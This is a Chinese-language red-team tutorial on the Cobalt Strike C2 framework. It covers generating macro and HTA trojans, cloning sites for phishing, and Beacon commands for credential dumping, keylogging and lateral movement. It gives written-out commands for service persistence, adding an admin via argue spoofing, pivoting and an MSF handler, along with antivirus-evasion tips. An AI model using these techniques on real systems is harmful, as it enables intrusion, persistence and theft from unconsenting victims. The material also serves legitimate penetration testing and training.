红队攻击篇-Cobalt Strike帮助文档&献给渗透测试人员的先进威胁战术(2023年2月9日更新版本)
2023-2-9 10:0:45 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:417 收藏

本文参考:官方Cobalt Strike 4.7 手册&Cobalt Strike 4.0 手册—献给渗透测试人员的先进威胁战术(2019年12月2日更新版本)&众多师傅文章资料&网络文献&f8x安全知识框架CS内容,由于无法一一列出,特此鸣谢,本文档旨在概述 Cobalt Strike 的功能集和与其相关的攻击流程,引入较为新颖的技术与理念。本文档中所属转发内容作者&译者众多,感谢诸位师傅的无私奉献与钻研精神。由于本人技术有限,若不可抗力本文内容出现错误,请师傅们及时提醒并指出,以免产生误导。再次感谢众多师傅的文章,我所做的只不过是一只蜘蛛所能做的罢了。本文全2万余字,PDF电子版共90页,链接置于文头,方便订正学习。

编者:猫哥爱吃秋刀鱼-IcMl0X824

日期:2023-02-09

PDF版本已上传阿里云盘:https://www.aliyundrive.com/s/fwQxz9kEfFa

[官网]:https://www.cobaltstrike.com/
[FoFa]:cert="73:6B:5E:DB:CF:C9:19:1D:5B:D0:1F:8C:E3:AB:56:38:18:9F:02:4F"
[教程]:https://github.com/aleenzz/Cobalt_Strike_wiki
[手册]:https://blog.ateam.qianxin.com

Introduce-介绍

Cobalt Strike 是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动。Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。除去自身功能外,Cobalt Strike 还利用了 Metasploit 和 Mimikatz 等其他知名工具的功能。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个。非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和会话sessions,可模拟APT做模拟对抗,进行内网渗透。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe木马生成,dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java 执行,浏览器自动攻击等等。

文章学习

目录结构

agscript            # 拓展应用的脚本
c2lint              # 检查profile的错误异常
cobaltstrike
cobaltstrike.jar    # 客户端程序
icon.jpg
license.pdf
readme.txt
releasenotes.txt
teamserver          # 服务端程序
update
update.jar
third-party         # 第三方工具
    - README.vncdll.txt
    - vncdll.x64.dll
    - vncdll.x86.dll

个人定制

  1. Cobalt Strike可以使用 AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等

  2. Cobalt Strike通信配置文件是 Malleable C2 你可以修改 CS的通讯特征,Beacon payload的一些行为

  3. Cobalt Strike可以引用其他的通讯框架ExternalC2,ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。

启动运行

团队服务器运行在Linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar

./teamserver

命令说明

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

<host>                必需参数 团队服务器IP
<password>            必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD]          可选参数 所有payload的终止时间

启动Team Server
./teamserver IP 密码   设置强密码,否则容易被爆破,参考附录

如果没有权限运行,使用命令设置权限,但是终端一旦关闭了,teamserver就会自动关掉 ,我们可以使用nohup命令设置后台挂起运行

nohup ./teamserver IP 123456 &

默认的监听端口是50055,可以通过修改teamserver文件里的端口信息,改变默认端口。第一次连接会有指纹提示,客户端每次连接都会自动保存配置文件,可以在偏好设置中删除没用的连接信息。

客户端 cobaltstrike 运行

java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar cobaltstrike.jar

翻译参考

Cobalt Strike 钴元素打击

  • New Connection        新建连接,支持连接多个服务器端
  • Preferences            设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
  • Visualization               主要展示输出结果的视图
  • VPN Interfaces           设置VPN接口
  • Listenrs                   创建监听器
  • Script Manager          脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,
  • Beacon                        命令行,提权脚本等
  • Close                        退出连接

View 视图

  • Application           应用程序
  • Password Credentials  密码凭证
  • Download List         下载列表
  • Event log             事件日志
  • Keylogger             键盘记录
  • Proxy forwarding      代理转发
  • Screenshot            屏幕截图
  • Script Console        脚本控制台
  • Target list           目标列表
  • Web logs              Web日志

ATTacks 攻击

Packages 后门
  1. HTML Application                 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
  2. MS Office Macro                  生成office宏病毒文件
  3. Payload Generator                生成各种语言版本的payload
  4. USB/CD AutoPlay                  生成利用自动播放运行的木马文件
  5. Windows Dropper                  捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
  6. Windows Executable               生成可执行exe木马
  7. Windows Executable(Stageless) 生成无状态的可执行exe木马
Web Drive-by
  1. Manage                对开启的web服务进行管理
  2. Clone Site            克隆网站,可以记录受害者提交的数据
  3. Host File             提供文件下载,可以选择Mime类型
  4. Scripted Web Delivery 为payload提供web服务以便下载和执行
  5. Signed Applet Attack  使用java自签名的程序进行钓鱼攻击
  6. Smart Applet Attack   自动检测java版本并进行攻击
  7. System Profiler       用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish

钓鱼邮件攻击

menu 右键菜单

  • Interact        打开beacon
  • Access
    • dump hashes     获取 hash
    • Elevate          提权
    • Golden Ticket    生成黄金票据注入当前会话
    • MAke token       凭证转换
    • One-liner        使用 PowerShell 单行程序来派生会话
    • Run Mimikatz     运行 Mimikatz
    • Spawn As         用其他用户生成 Cobalt Strike 侦听器
  • Explore
    • Browser Pivot    劫持目标浏览器进程
    • Desktop(VNC)    桌面交互
    • File Browser     文件浏览器
    • Net View         命令Net View
    • Port scan        端口扫描
    • Process list    进程列表
    • Screenshot      截图
  • Pivoting
    • SOCKS Server     代理服务
    • Listener..      反向端口转发
    • Deploy VPN      部署VPN
  • Spawn           新的通讯模式并生成会话
  • Session          会话管理,删除,心跳时间,退出,备注
    • Note...          设置注释
    • Color           设置会话颜色
    • Remove           删除会话
    • Sleep            会话休眠
    • Exit             退出会话

Reporting 报告

  1. Activity Report

    • 活动报告
  2. Hosts Report

    • 主机报告
  3. Indicators of Compromise

    • IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
  4. Sessions Report

    • 会话报告
  5. Social Engineering Report

    • 社会工程报告:包括鱼叉钓鱼邮件及点击记录
  6. Tactics, Techniques, and Procedures

    • 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
  7. Reset Data

    • 清空数据

    • Cobalt Strike 的数据模型将其所有的状态和状态元数据存储在 data/ 文件夹。data/ 文件夹存在在你运行 Cobalt Strike 团队服务器的那个文件夹里。
      要清除 Cobalt Strike 的数据模型:停止团队服务器,删除 data/ 文件夹及其内容。当你下次启动团队服务器的时候,Cobalt Strike 会重建 data/ 文件夹。
      如果你想要存档数据模型,请停止团队服务器,然后使用你喜欢的程序来将 data/ 文件夹及其文件存储在其他位置。要还原数据模型,请停止团队服务器,然后将旧内容还原到 data/ 文件夹。通过 Reporting → Reset Data 可以在不重启团队服务器的情况下重置 Cobalt Strike 的数据模型。
  8. Export Data

    • 导出数据

    • 如果你想导出 Cobalt Strike 的数据,通过 Reporting → Export Data 。Cobalt Strike 提供两种选项:把数据导出为 TSV 或 XML 文件。Cobalt Strike 客户端的导出数据功能会融合来自你当前连接的所有团队服务器的数据

Help 帮助

  1. Homepage            官方主页
  2. Support             技术支持
  3. Arsenal             武器库
  4. System information  系统信息
  5. About           关于

Toolbar 工具栏

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表) 
5.改变视图为Session Table(会话列表) 
6.改变视图为Target Table(目标列表) 
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务17.帮助
18.关于

Online reminder 上线提醒

  • 实现CobaltStrike上线短信提醒
  • CobaltStrike-机器上线微信提醒
  • Cobalt Strike 上线微信提醒
  • Cobalt Strike的多种上线提醒方法
  • evi1ox/cobalt_strike_bot - CS上线提醒项目

visualization 可视化

Cobalt Strike 有多种可视化展示,这些不同的设计是为了帮助你的行动中的不同部分。你可以通过工具条或 Cobalt Strike → Visualization (可视化)菜单在不同的可视化形式之间切换。每一个 Beacon 会话都有一个对应的图标。和会话表中一样,每个主机的图标标识了它的操作系统。如果图标是红色的、并且带有闪电,那么表示此 Beacon 运行在管理员权限的进程中。一个褪色的图标说明此 Beacon 会话被要求离开并且它接受了此命令。

防火墙图标代表你 Beacon payload 的流量出口点。绿色虚线表示使用了 HTTP 或 HTTPS 连接出网。黄色虚线表示使用 DNS 协议出网。

从一个 Beacon 会话连接到另一个 Beacon 会话的箭头表示两个 Beacon 之间存在连接。在这种对等通信模式中,Cobalt Strike 的 Beacon 使用 Windows 命名管道和 TCP sockets 来控制其他的Beacon。

橙黄色的箭头代表命名管道通道。SSH 会话也使用一个橙黄色的箭头。一个淡绿的箭头代表一个 TCP socket 通道。一个红色的(命名管道)或紫色的(TCP)箭头表示一个 Beacon 连接断掉了。

Listener-监听器策略

你需要为 Cobalt Strike 的 Beacon payload 配置监听器。Beacon 是 Cobalt Strike的 payload,用于建模高级攻击者。使用 Beacon 来通过 HTTP,HTTPS 或 DNS 出口网络。你也可以通过控制经由命名管道和 TCP sockets 的对等(peer-to-peer)Beacon 从而限制出口网络,只允许部分主机直接回连。

一个监听器既是一个 payload 的配置信息,同时又是 Cobalt Strike 起一个服务器来接收来自这个 payload 的连接的指示。一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。

在连接服务端后 首先创建监听器 监听器的payload支持多种协议

支持的协议

  • Beacon DNS
  • Beacon HTTP
  • Beacon HTTPS
  • Beacon SMB
  • Beacon TCP
  • External C2
  • Foreign HTTP
  • Foreign HTTPS

beacon是cobalt strike的内置监听器,包括Dns、http、https、smb四种方式的监听器

foreign为外部监听器,是配合Metasploit或者Armitage的监听器

地址轮回策略

round-robin按主机名的顺序循环浏览主机名列表
random每次访问时,从列表中随机选择一个主机名  已尝试连接
failover-xx使用每台主机一段时间。指定的持续时间(m、h、d),然后使用下一个主机

http地址(stager)这个可以填写ip本身,也可以去填写多个域名,但是这个域名解析必须是teamserver的地址。

攻击->生成后门->windows可执行程序 选择好监听器 生成后门

直接运行后门,cobalt stike上线

Attacks-模块攻击

生成后门

生成后门界面里,有几个模块

HTA文档

后门的一种,这里他给我们提供了3种生成方式

  1. exe
  2. powershell
  3. vba

HTA 是 HTML Application 的缩写(HTML 应用程序),是软件开发的新概念,直接将 HTML 保存成 HTA 的格式,就是一个独立的应用软件。

其中VBA方法需要目标系统上的Microsoft Office,一般选择powershell方式,因为这种方式更加容易免杀。通常我们结合文件下载功能来实行钓鱼

HTA文件里面是执行powershell代码来运行后门

把HTA文件配合文件托管服务配合使用

设置好后,当别人访问这个网址的时候

提示下载,受害者下载运行时,就会上线

office宏病毒

宏是微软公司为其 OFFICE 软件包设计的一个特殊功能,它利用简单的语法,把常用的动作写成宏。宏病毒传播极快,可以多平台交叉感染,在鱼叉邮件投递内嵌恶意宏的 Word 文档是 APT 活动中经常用到的手法。

将生成的宏文件放在word文档,当文档可以使用宏时,自动会运行上线。

打开word自定义选区把开发工具打勾然后插入后保存为dotm,只要打开带有宏的文件就会自动上线

复制生成的 payload

新建一个 word 文档, 编辑宏

另存为 启用宏的 word 文件

Payload生成器

CS里提供一个payload的生成器,因为默认的shellcode容易被杀毒软件发现,我们可以编写shellcode加载器来运行payload达到免杀的效果

C/C++语言写的加载器用VS2022编译时,记得使用Release模式而不是Debug生成解决方案,否则回出现错误

Windows可执行程序

提供有三种生成类型

  1. windwos可执行程序:EXE 直接双击运行
  2. windwos服务程序:Service EXE 可以使用SC命令做成服务程序,执行之后会是system权限,这种方法CS留后门的一种方法
shell sc create "server1" binpath= "C:\WINDOWS\Temp\server1.exe" 
shell sc description "server1" "description"
shell sc config "server1" start= auto shell net start "server1"
  1. windows dll文件:dll

在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注册工具。(activex不注册是不能够被系统识别和使用的,一般安装程序都会自动地把它所使用的activex 控件注册)。Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。regsvr32.exe用法

regsvr32 [/s] [/n] [/i(:cmdline)] dllname
其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。参数有如下意义:
/u——反注册控件(卸载com组建)
/s——不管注册成功与否,均不显示提示框(静默模式,不弹框)
/c——控制台输出
/i——跳过控件的选项进行安装(传给DllInstall的参数内容,regsvr32 允许注册过程中 dll 进行一些自定义的安装过程,该过程在 DllInstall 中实现。)
/n——不注册控件,此选项必须与/i选项一起使用

Regsvr32.exe直接调用dll程序

c:\Windows\System32\regsvr32.exe C:\Windows\Temp\artifact.dll
  1. windwos可执行程序(Stageless)

Staged和Stageless的区别就是:前者的实际功能只是和C2建立连接并接收Payload,然后加载执行,而Stageless直接省去了接收Payload的步骤。

Stageless生成的Payload都会比Staged类型的要大很多, 而且包含了特征明细。

Web钓鱼

CS提供了钓鱼模块来方便渗透测试人员

  1. Manage                对开启的web服务进行管理
  2. Clone Site            克隆网站,可以记录受害者提交的数据
  3. Host File             提供一个文件下载,可以修改Mime信息
  4. Scripted Web Delivery 类似于msf 的web_delivery
  5. Signed Applet Attack  使用java自签名的程序进行钓鱼攻击
  6. Smart Applet Attack   自动检测java版本并攻击,针对Java 1.6.0_45以下以及1.7.0_21
  7. System Profiler       用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等

站点管理:这里主要是CS自带的web服务,访问IP加上端口则可以访问

克隆网站:这个模块主要的作用是克隆一个网站,发送给受害者,受害者访问的时候,可以收集受害者提交的信息,同时也可以选择攻击下载文件。

受害者访问的时候会自动弹出下载文件

输入密码

日志信息

信息模块 这个主要是生成一个页面让受害者访问,收集受害者的浏览器系统信息

Web投递就是生成并托管一个完整的Payload,通过在目标机器上执行生成的一句话命令即可快速获得一个会话 。至于Applet攻击就是依靠浏览器进行攻击的。

邮件钓鱼

首先准备好eml的钓鱼模板,这个模板可以在qq邮箱里导出,选择邮箱钓鱼模板

点击发送即可,模板上可以看到URL跳转到准备好的URL

Interactive session-交互会话

Beacon

Beacon 很灵活,支持异步通信模式和交互式通信模式。异步通信效率缓慢:Beacon 会回连团队服务器、下载其任务,然后休眠。交互式通信是实时发生的。

Beacon 的网络流量指标具有拓展性。可以使用 Cobalt Strike 的可拓展的 C2 语言来重新定义 Beacon的通信。这允许你掩盖 Beacon 行动,比如使其流量看起来像其他的恶意软件,又或者将其流量掺入作为合法流量。

Beacon的命令详解:

help command 获取详细命令的使用方法

Command                   Description
------- -----------
Ladon Ladon large network penetration scanner
argue 命令行参数欺骗
blockdlls 禁止子进程加载非微软签名的dll
browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE)
cancel 取消正在下载的文件
cd 跳转目录
checkin 强制目标回连/更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
chromedump 提取Chrome保存的账号密码、Cookies等信息
clear 清空beacon任务队列
connect 通过TCP正向连接远程Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从域控提取密码hash
desktop 远程VNC控制用户桌面
dllinject 注入一个内存反射加载的dll到目标进程
dllload 使用LoadLibrary方式在目标进程中加载一个dll
download 下载文件
downloads 列出所有正在下载的文件
drives 列出所有磁盘盘符
elevate 利用提权漏洞获取一个高权限Beacon
execute 在目标上执行程序(无回显)
execute-assembly 在目标上内存加载执行本地.NET程序
exit 结束当前Beacon会话
getprivs 在当前进程访问令牌(access token)中启用system特权
getsystem 尝试获取SYSTEM用户权限
getuid 获取当前进程访问令牌(access token)的用户信息
hashdump 获取本地用户hash
help 帮助信息
inject 在指定进程中注入新的Beacon会话
inline-execute 在当前会话中执行Beacon Object File
jobkill 结束一个后台任务
jobs 列出所有后台任务
jump 在远程机器上植入Beacon(横向移动)
kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中
kerberos_ticket_purge 清空当前会话中的所有kerberos票据
kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中
keylogger 开启键盘记录
kill 结束指定进程
link 通过命名管道正向连接远程Beacon
logonpasswords 使用mimikatz获取密码和hash
ls 列出目录文件
make_token 创建进程访问令牌(access token),仅用于访问网络资源
mimikatz 运行mimikatz
mkdir 创建目录
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mv 移动文件
net 网络和主机探测工具(内置net命令)
note 给当前会话添加备注信息
portscan 网络端口扫描
powerpick 内存执行Powershell命令(不调用powershell.exe)
powershell 通过powershell.exe执行Powershell命令
powershell-import 导入本地powershell脚本到当前会话中
ppid 为所有新运行的进程设置伪造的父进程PID
printscreen 使用PrintScr方式截屏
ps 显示进程列表
psinject 注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
pth 使用Mimikatz执行Pass-the-hash
pwd 显示当前目录
reg 查询注册表
remote-exec 在远程机器上执行命令(横向移动)
rev2self 恢复原始进程访问令牌(access token)
rm 删除文件或文件夹
rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接)
run 在目标上执行程序(有回显)
runas 以另一个用户身份执行程序
runasadmin 以高权限执行程序
runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot 截屏
screenwatch 屏幕监控,每隔一段时间截屏
setenv 设置环境变量
shell 使用cmd.exe执行命令
shinject 注入shellcode到指定进程中
shspawn 创建傀儡进程并注入shellcode到其中运行
sleep 设置beacon回连间隔时间
socks 启动SOCKS4a代理服务器
socks stop 停止SOCKS4a代理服务器
spawn 创建一个新Beacon会话
spawnas 以另一个用户身份创建一个新Beacon会话
spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike Teamserver发起连接)
spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike客户端发起连接)
ssh 通过SSH连接远程主机(使用账号密码认证)
ssh-key 通过SSH连接远程主机(使用证书私钥认证)
steal_token 从指定进程中窃取访问令牌(access token)
timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload 上传文件

在Cobalt Strike中它的心跳默认是60s,即每一分钟目标主机与teamserver通信一次,这会让我们执行命令或进行其他操作响应很慢,一般设置心跳值为5s即可,如果在使用socks代理的话,设置为心跳值为0即可,在beacon中不能直接使用系统CMD命令,想要执行系统命令需要使用shell命令,即在系统命令前面加上shell即可。

某些任务会开始一个 jobs 任务,当不需要这些进程时,可以运行 jobs 查看任务进程,并结束进程

jobs            # 查看进程
jobkill [JID]   # 杀掉指定的进程

argue 进程参数欺骗后可使用 run 或 execute 来执行 net1 命令添加一个管理员用户,全程无拦截,而用 shell 执行 net1 命令时仍然会被拦截,因为它还是通过创建一个 cmd.exe 子进程来执行的。

argue 进程参数欺骗
argue [command] [fake arguments]
argue 命令 假参数 欺骗某个命令参数
argue [command]
argue 命令 取消欺骗某个命令参数

beacon> argue net1 /bypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypass
beacon> run net1 user demouser [email protected]#$12 /add
beacon> run net1 localgroup administrators what /add

Spawn 派生

spawn 的功能就是可以派生出更多的 Beacon 让一个团队分布式渗透。通常我们在团队主服务器上给队友来派生 Beacon 这样只要主服务器权限不掉,还能继续操作。尽量派生出多个 Beacon,让我们的操作都在子 Beacon。

灵活的运用 Spawn 可以提高团队效率,权限维持,和 MSF、Armitage 互转会话。

HTTP Beacon 和 HTTPS Beacon

相关文章

  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_self-signed-ssl-certificates.htm
  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_valid-ssl-certificates.htm

DNS 上线

如果在内网中,防火墙只允许DNS出网,可以使用DNS后门上线,在cs里面内置了一个DNS上线模块。我们假设查询Dns发现可以出网,使用

nslookup www.baidu.com

准备一个域名,设置NS记录和A记录,并且把NS记录指向A记录,在公网的vps里,去启动服务器端并且挂在后端执行,然后建立DNS监听器

因为DNS的默认端口是53端口,在ubuntu的53端口默认是开启的,如果出现占用情况,把53端口关闭。使用web传递攻击执行powershell命令,上线是一个黑色的图标,使用命令checkin,强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver),在beacon中支持三种DNS执行命令方式,一般使用mode dns-txt较多。

DNS Beacon

DNS Beacon 使用 DNS 请求来将 Beacon 返回给你。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。DNS Beacon 在绕过防火墙权限维持上非常有效.

在 Cobalt Strike 4.0 及之后的版本中,DNS Beacon 是一个仅 DNS 的 payload。在这个 payload 中,没有 HTTP 通信模式。这是与之前的版本的产品不同的地方。

相关文章

  • 踩坑记录-DNS Beacon
  • cobaltstrike dns beacon知多少
  • CS上线之DNS隧道踩坑记
  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_dns-beacons.htm

数据通道

DNS Beacon 可以通过 DNS TXT 记录、DNS AAAA 记录或 DNS A 记录下载任务。当其在目标上,此 payload 有在这些数据通道之间切换的灵活性。使用 Beacon 的模式命令来改变当前 Beacon 的数据通道。

mode dns        # DNS A 记录数据通道;
mode dns6       # DNS AAAA 记录数据通道;
mode dns-txt    # DNS TXT 记录数据通道。DNS TXT 记录是默认的数据通道。

监听器设置

创建一个 DNS Beacon 监听器,选择 Beacon DNS 作为 payload 类型。

点击 [+] 来添加一到多个与 beacon 通信的域名。你的 CS 团队服务器系统必须对你指定的域名具有权威性。创建一个 DNS A 记录然后指向你的 CS 团队服务器。使用 DNS NS 记录来将多个域名或子域名委派到你的 Cobalt Strike 团队服务器的 A 记录。

DNS HOST(Stager) 字段配置 DNS Beacon 的 TXT 记录 stager。这个 stager 仅被用在要求显式 stager 的 Cobalt Strike 功能中。你的 Cobalt Strike 团队服务器系统也必须对此域名具有权威性。

要测试你的 DNS 配置,打开一个终端并输入 nslookup jibberish.beacon domain (domain 自行替换为 stager 域名)。如果你得到了一个 0.0.0.0 的 A 记录回复——这说明你的 DNS 配置是对的。如果你没有得到回复,那说明你的 DNS 配置不对、DNS Beacon 不会与你通信。

确保你的 DNS 记录引用了你的网络接口的首选地址(primary address)。Cobalt Strike 的 DNS 服务器会一直从你的网络接口的首选地址发送响应。当 DNS 解析器从一台服务器请求信息,但是从另一台服务器接收回复时,DNS 解析器往往会丢弃回复。

如果你的团队服务器在内网中,请确保用你的公网 IP 地址作为 NS 记录,并将你的防火墙设置为转发 53 端口上的 UDP 流量到你的系统。Cobalt Strike 包含一个控制 Beacon 的 DNS 服务器。

当启动一个 DNS Beacon 的时候,就相当于 Cobalt Strike 把团队服务器作为了一个 DNS 的解析服务器。当受害主机进行 DNS 请求的时候,就需要给 53 端口发包。如果团队服务器在内网中,就需要把公网 IP 的 53 端口和内网 IP 做一个端口映射,相当于把外网的 53 端口映射到内网的团队服务器上去。

域名建立 A 记录和 NS 记录

  • A 记录指向服务器 ip
  • ns 记录都指向 A 记录域名

只要木马在目标主机执行成功,我们的 CobaltStrike 就能接收到反弹的 shell。但是默认情况下,主机信息是黑色的。

我们需要执行以下命令,让目标主机信息显示出来

checkin
mode dns-txt

SMB beacon

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

这张图诠释了SMB beacon的工作流程:

存在以下2个条件:

  1. 具有 SMB Beacon 的主机必须接受端口 445 上的连接。
  2. 只能链接由同一 Cobalt Strike 实例管理的 Beacon

这种beacon要求具有SMB Beacon的主机必须接受端口445上的连接,派生一个SMB Beacon方法:在监听器生成SMB Beacon>目标主机>右键>新建会话>选中对应的监听器>上线。或在beacon中使用命令spawn smb(smb为我的smb 监听器名字)

当SMB Beacon运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon

当前是连接状态,你可以Beacon上用link 命令链接他或者unlink 命令断开它

这种beacon在内网横向渗透中运用的很多,横向渗透留到日后再讲。在内网环境中可以使用IPC $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link)去连接他。

当前连接12SERVER5因为密码与12SERVER相同,dir可以访问12SERVER5的c盘,就可以使用jump psexec64建立smb beacon。

Browsing probe-浏览探测

截图

端口扫描

beacon中使用portscan命令:

Use: portscan [目标列表] [端口列表] [arp|icmp|none] [最大连接数]

对指定的 [主机列表] 启动端口扫描

[目标列表] 是要扫描的主机列表,使用逗号分隔。 也可以指定IPv4
地址段(例如192.168.1.128-192.168.2.240,192.168.1.0/24)

[端口列表] 是要扫描的端口列表,使用逗号分隔。 也可以指定端口范围(例如1-65535)

[arp|icmp|none] 选项用于指示端口扫描器如何确定主机是否存活
ARP选项使用ARP来查看系统是否响应指定的地址,ICMP选项发送ICMP回显请求
none选项告诉端口扫描器假定所有主机均存活

[最大连接数] 选项可限制端口扫描器同时尝试连接的数量,端口扫描器使用异步I/O,
能够一次处理大量连接,越高的连接数将扫的越快,默认值为1024

端口扫描可以选择扫描存活的方式:arp icmp none

在beacon 使用命令

  1. 查看后台任务:jobs
  2. 关闭任务:jobkill 任务id

文件浏览

网络探测

beacon 提供net命令,使用help net 了解这个命令的一些常用方法

Use: net [命令] [参数]

Beacon内置的主机和网络枚举探测工具。 支持的 [命令] 列表有:

        命令                 描述
        -------             -----------
        computers           列出域中的主机(通过组)
        domain              显示该主机的域
        dclist              列出域控制器
        domain_controllers  列出域控制器(通过组)
        domain_trusts       列出域信任
        group               列出组中的成员组和成员用户
        localgroup          列出本地组中的成员组和成员用户
        logons              列出登录到指定主机的用户
        sessions            列出指定主机上的会话
        share               列出指定主机上的共享
        user                列出用户和用户信息
        time                显示指定主机上的时间
        view                列出域中的主机(通过browser服务)

使用 "help net [命令]" 了解更多信息

进程列表

浏览器代理

先把beacon时间交互设置为0,打开beacon交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的,所以 beacon 连接到团队服务器的频率会影响浏览器跳板的同步性。所以要把 beacon 会话设为交互模式来实现最好的效果。

然后设置浏览器跳板代理( agent )。这一步实际上会完成两个任务:将 agent 程序注入受害机器的 IE 浏览器进程,在团队服务器的一个端口上开启一个 HTTP 代理服务器。

实际上,这个过程也可以通过browserprivot命令实现,停止方式 browserpivot stop。如果目标上登录某些网站,我们通过设置浏览器代理后,访问网站即可去登录访问目标网站

VNC交互

Proxy forwarding-代理转发

Socks代理

在指定端口上启动SOCKS4a代理服务器,该服务器将通过当前Beacon中继网络连接,假设存在以下环境:

  • Teamserver:192.168.0.195

  • 12server5:192.168.0.188 & 10.10.10.139

  • 12server4:10.10.10.138

获取12server5权限后设置socks代理

设置

sudo vi /etc/proxychains4.conf
socks4 192.168.0.195 36721

使用proxychain调用nmap 扫描目标机子,在Windwos环境中使用其他同理

proxychains nmap -sT -Pn 10.10.10.138 -p 445

转发上线

转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话的中转网络流量,即内网其他机器可通 过连接攻陷机器上线。

  • teamserver 192.168.0.195

  • 12server5 192.168.0.188 & 10.10.10.139

  • 目标机子 10.10.10.136

首先新建监听器 监听器使用当前会话

接着生成后门,选择rve监听器

在12server4上执行

切换视图

这种方式也可用于多层网段反向上线。

VPN部署

为CovertVPN新建一个虚拟机网卡和监听器。当部署CovertVPN客户端后,你将相当于在目标网络中拥有一个二层网络的tap接口。

新建vpn选择网卡

在团队服务器中,配置刚刚的VPN接口,先连接到刚刚的VPN 接口,就能找到此设备,在kali上:

sudo ifconfig phear7 10.10.10.0/24

对内网10段进行代码扫描

nmap -sT -Pn 10.10.10.136 -p 445

回到 CS 的 VPN Interfaces 这里可以看到数据走 VPN 在收发:

Beacon conversation-信标会话

Cobalt Strike 的 Beacon 最初是一个稳定的生命线,让你可以保持对受害主机的访问权限。从一开始Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限。使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个架构(如:x86,x64)和一个监听器作为其参数。默认情况下, spawn 命令会在 rundll32.exe 中派生一个会话。

新建会话

也可以使用spwan命令派生一个会话

注入进程获取会话

派生会话到MSF

当Cobaltstrike获取到上线主机后,有时候需要传递会话到MSF,首先建立新的Foreign HTTP监听器,设置IP为MSF接收的IP,设置Port是MSF监听的端口

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 10.10.10.141 lhost => 10.10.10.141
msf6 exploit(multi/handler) > set lport 8888 lport => 8888
msf6 exploit(multi/handler) > run

设置CS监听器

